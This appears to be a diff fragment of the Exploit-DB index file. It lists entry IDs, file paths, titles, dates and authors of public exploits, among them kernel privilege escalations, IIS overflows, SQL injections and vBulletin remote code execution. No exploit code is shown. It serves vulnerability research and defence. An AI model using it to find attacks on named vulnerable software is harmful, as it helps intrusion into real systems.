3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@ -10690,6 +10695,7 @@ id,file,description,date,author,type,platform,port
47394,exploits/windows/local/47394.py,"docPrint Pro 8.0 - SEH Buffer Overflow",2019-09-16,"Connor McGarr",local,windows,
47400,exploits/macos/local/47400.md,"macOS 18.7.0 Kernel - Local Privilege Escalation",2019-09-19,A2nkF,local,macos,
47421,exploits/linux/local/47421.rb,"ABRT - sosreport Privilege Escalation (Metasploit)",2019-09-25,Metasploit,local,linux,
47444,exploits/windows/local/47444.py,"DameWare Remote Support 12.1.0.34 - Buffer Overflow (SEH)",2019-10-01,"Xavi Beltran",local,windows,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -39391,8 +39397,8 @@ id,file,description,date,author,type,platform,port
41618,exploits/aspx/webapps/41618.txt,"Sitecore CMS 8.1 Update-3 - Cross-Site Scripting",2017-03-15,"Pralhad Chaskar",webapps,aspx,
43357,exploits/php/webapps/43357.txt,"Joomla! Component User Bench 1.0 - 'userid' SQL Injection",2017-12-18,"Ihsan Sencan",webapps,php,
43358,exploits/php/webapps/43358.txt,"Joomla! Component My Projects 2.0 - SQL Injection",2017-12-18,"Ihsan Sencan",webapps,php,
43361,exploits/multiple/webapps/43361.md,"vBulletin 5 - 'routestring' Remote Code Execution",2017-12-13,SecuriTeam,webapps,multiple,
43362,exploits/multiple/webapps/43362.md,"vBulletin 5 - 'cacheTemplates' Remote Arbitrary File Deletion",2017-12-13,SecuriTeam,webapps,multiple,
43361,exploits/multiple/webapps/43361.md,"vBulletin 5.x - 'routestring' Remote Code Execution",2017-12-13,SecuriTeam,webapps,multiple,
43362,exploits/multiple/webapps/43362.md,"vBulletin 5.x - 'cacheTemplates' Remote Arbitrary File Deletion",2017-12-13,SecuriTeam,webapps,multiple,
43363,exploits/hardware/webapps/43363.py,"Linksys WVBR0 - 'User-Agent' Remote Command Injection",2017-12-14,nixawk,webapps,hardware,
43364,exploits/hardware/webapps/43364.txt,"BrightSign Digital Signage - Multiple Vulnerablities",2017-12-19,"Information Paradox",webapps,hardware,
43365,exploits/php/webapps/43365.txt,"Joomla! Component NextGen Editor 2.1.0 - 'plname' SQL Injection",2017-12-19,"Ihsan Sencan",webapps,php,
@ -41780,3 +41786,6 @@ id,file,description,date,author,type,platform,port
47438,exploits/php/webapps/47438.txt,"phpIPAM 1.4 - SQL Injection",2019-09-30,"Kevin Kirsche",webapps,php,80
47440,exploits/python/webapps/47440.txt,"thesystem 1.0 - Cross-Site Scripting",2019-09-30,"Anıl Baran Yelken",webapps,python,
47441,exploits/python/webapps/47441.txt,"TheSystem 1.0 - Command Injection",2019-09-30,"Sadik Cetin",webapps,python,
47446,exploits/multiple/webapps/47446.php,"PHP 7.1 < 7.3 - disable_functions Bypass",2019-09-28,mm0r1,webapps,multiple,
47447,exploits/php/webapps/47447.py,"vBulletin 5.0 < 5.5.4 - Unauthenticated Remote Code Execution",2019-09-23,anonymous,webapps,php,
47448,exploits/multiple/webapps/47448.py,"DotNetNuke < 9.4.0 - Cross-Site Scripting",2019-10-01,MaYaSeVeN,webapps,multiple,80

Can't render this file because it is too large.